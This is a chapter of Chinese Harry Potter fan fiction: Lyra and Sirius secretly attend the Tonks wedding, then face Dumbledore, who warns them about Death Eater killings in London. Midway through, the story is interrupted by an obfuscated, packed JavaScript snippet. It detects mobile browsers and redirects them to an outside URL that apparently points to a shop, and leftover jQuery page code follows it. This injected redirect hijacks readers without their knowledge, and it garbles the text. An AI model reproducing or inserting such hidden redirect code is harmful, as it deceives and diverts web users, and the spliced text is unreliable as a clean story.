泰德.唐克斯起床后，他热情地欢迎两人的到来，并主动做了早餐。四个人围坐在一起，分享新鲜的牛奶与三明治。
泰德说：“说实话，我和安多米达的婚事不仅令你们家很意外，我的很多亲戚都被吓到了。除了我的几个至亲，应该不会有人敢来参加我们的婚礼。”
莱拉说：“真正关心你们的人都会前来送上祝福，至于别人，谁会在意呢？我结婚也不会请亲戚来，除了西里斯。”
西里斯附和道：“要是我结婚，连我爸妈都不会请。”
安多米达和泰德都笑了。
婚礼在上午9点举行，院子里摆好了桌椅与宴席，牧师庄重地整理了一下自己的衣服。
安多米达的笑容在晨光中显得无比明亮，她一手挽住一个，将他们带向洒满阳光的花园。那里没有盛大的宾客，只有等待的泰德·唐克斯，和他脸上比阳光更灿烂的笑容。
后来，当莱拉回忆起这一天，记忆里没有繁琐的仪式，只有橡树下紧紧交握的双手，抛洒向空中的、闪着光的魔法花瓣，以及她和西里斯作为爱与自由的见证人，用力鼓到发疼的掌心。
黄昏时分，他们脱下礼服，穿上黑色长袍，再次登上了骑士公共汽车，匆匆忙忙地回到了霍格莫德村。两人遮遮掩掩地躲开路人的视线，快步往树洞走。当路过破烂酒馆门口，一声大喝把两人吓了一跳。“你们两个小孩，偷偷摸摸干什么呢？”
是小酒馆的老板。他声音粗野，胡须蓬乱，双手叉腰，恶狠狠地瞪着一双精光四射的眼睛。
“呃，晚上好，先生。”莱拉说。
她这一句问候把凶恶的老板噎住了，还没等他酝酿好下一句质问，两个小孩突然拔腿就跑，灵活地钻进稀疏的树林，消失在昏暗的暮色里。
当莱拉和西里斯走到通道尽头，那面镜子的背面，两人不约而同地停了下来。莱拉掏出怀表：“不到9点，我们要现在出去吗？”
西里斯拿魔杖点了点镜子中央，镜面翻起涟漪，他探出头，很快又收回来。他高兴地对莱拉说：“走廊上没有人，我们出去吧。”
“太好了！”
两人立刻跳了出来，走廊上空空荡荡。莱拉喜不自胜：“西里斯，这一趟真够成功的，是不是？”
“咳咳！”镜子边的画框里突然出现了一个秃顶的朴素老头，他戴着白色的假发，说起话来有气无力。“邓布利多叫你们去校长室，口令：泡泡棉花糖。”
“什么？”西里斯大声说。
“邓布利多叫你们去校长室！两个小滑头，以为自己能躲过大人的视线乱跑！快去，快去！”老巫师颤巍巍地喊道，极为不耐烦。
“我们的家长来了吗？”莱拉脸色苍白。
“没有，只有邓布利多！”老头说完就从画框里消失了，留下两人面面相觑。
莱拉的脸上恢复了血色：“看来你妈妈她们还不知道，那就没事了。走吧，西里斯，我们去见邓布利多教授。”
西里斯和她并肩向顶楼走，开了个玩笑：“我真好奇邓布利多是怎么知道的，看来他早就命人来蹲守我们回来了。总不能是那个酒吧老板给他通风报信吧？”
“那个酒吧叫什么名字？”莱拉随口一问。
“猪头酒吧。”
第一次进校长室，莱拉不免有些激动，她在向坐在椅子上的邓布利多问好后，悄悄地打量了四周，和架子上的漂亮凤凰对上视线，用眼神表达了对他的赞赏。
“布莱克先生，布莱克小姐，请坐吧，要不要来点糖果和饮料？”邓布利多轻快道。
“只要一杯清水就行了，教授。我们赶了几个小时的路，渴得要命。”西里斯说。
莱拉瞟了西里斯一眼，对邓布利多说：“我们很抱歉，教授。请不要误会，他说的是实话。”
两杯水飘到两人手里。“我当然不会误会，布莱克小姐。我甚至还十分好奇，你们在长达一整天的时光里，都去探索了哪些奇妙的地方。”邓布利多将双手指尖搭在一起，他的蓝眼睛明亮又深邃。
“我不能告诉您，但我们并不是为了玩乐，为了某些美好的东西——去祝贺爱情与自由。”莱拉喝了口水，她不指望邓布利多能相信她的话。
西里斯双腿放松，握住杯子没有喝：“哪怕重来一百次，我们都会这样做的。请您原谅，我们不能说。”
邓布利多神态平和：“当然，你们有选择沉默的权利。我原以为你们会为对方开脱——擅自离校可是很严重的违反校规的行为，把责任揽到自己身上呢。你们如此坦然的神态让我相信，你们的确有不得不这样做的理由。”
“感谢您的理解。但每个人都该为自己的行为负责，放任责任被推卸给他人无疑是可耻的行为。我们不会这样做。”西里斯自然地说。
“所以，我们会被开除吗？您现在就可以通知我们的家长，放我们回寝室收拾行李。”莱拉竭力让自己显得毫无波动。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622504|187551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
邓布利多笑了，他和蔼地说：“不用这么紧张，布莱克小姐。相比于微不足道的处罚，我想有更重要的消息，有必要让你们知道。”
他话音刚落，一个崭新锃亮的收音机从靠着墙壁的柜子里飞了出来，轻轻落在他面前的桌子上。邓布利多伸手转动了一个小旋钮，嘈杂的声音传了出来，随着他两根长手指的调试逐渐变得清晰。
“晚上好，现在是每晚的麻瓜联络时间。我是安妮.明顿，我们一起来听听今天英国麻瓜的重大事件。”
“今天凌晨，有工人陆续发现，伦敦街头出现了多具尸体，随机分散在各个街区。尸体完好无损，没有伤口，死者多为流浪汉与夜不归宿的闲散人士。麻瓜警察初步认定是宿醉与寒冷导致的死亡，暂且排除人为……”
邓布利多“啪”地关掉了收音机，清晰的按键声在寂静的室内格外突兀。他无声地扫视了两人一圈才开口：“我想你们应该不会和麻瓜警察想到一处。”
西里斯终于变得严肃起来：“我们昨夜的确看到了有些食死徒出没——我猜是他们，戴着兜帽，大摇大摆地成队出现在路边。”
“我们很幸运，没有被歹徒注意到。如果我们的贝拉堂姐就在其中，她会高兴地给我们几个钻心咒。”莱拉慢慢说。
邓布利多的声音很轻，却清晰地落在寂静里，“你们现在应该明白，为什么我会坐在这里等你们回来了。”
不是质问，不是训斥。只是一个简单的事实。
“我很抱歉。”莱拉说。
西里斯的声音比平时低沉，“我们没想到……”
“很少有人能想到，”邓布利多温和地接话，“直到为时已晚。”
“关禁闭是必须的，这是规则。但我希望你们记住今晚的感受——不是恐惧，而是清醒。有时候，最危险的并非违反规则本身，而是不明白为什么要遵守它们，又为什么要打破它们。好了，孩子们，我唯一要告诫你们的就是三思而后行。要不要带些饼干回去？现在已经过了晚餐时间了。”邓布利多轻快地说。
莱拉委婉地拒绝了：“谢谢您的好意，教授。我就不用了。”
这件事最后的收尾，就是两人明晚要被关禁闭，由海格负责。
詹姆斯作为仅有的几个知情人之一，听说后发表言论：“还不错。偷偷溜出霍格沃兹的处罚只是关禁闭，实在太划算了。”
西里斯在关禁闭时把他的言论转告莱拉，两人一起笑了。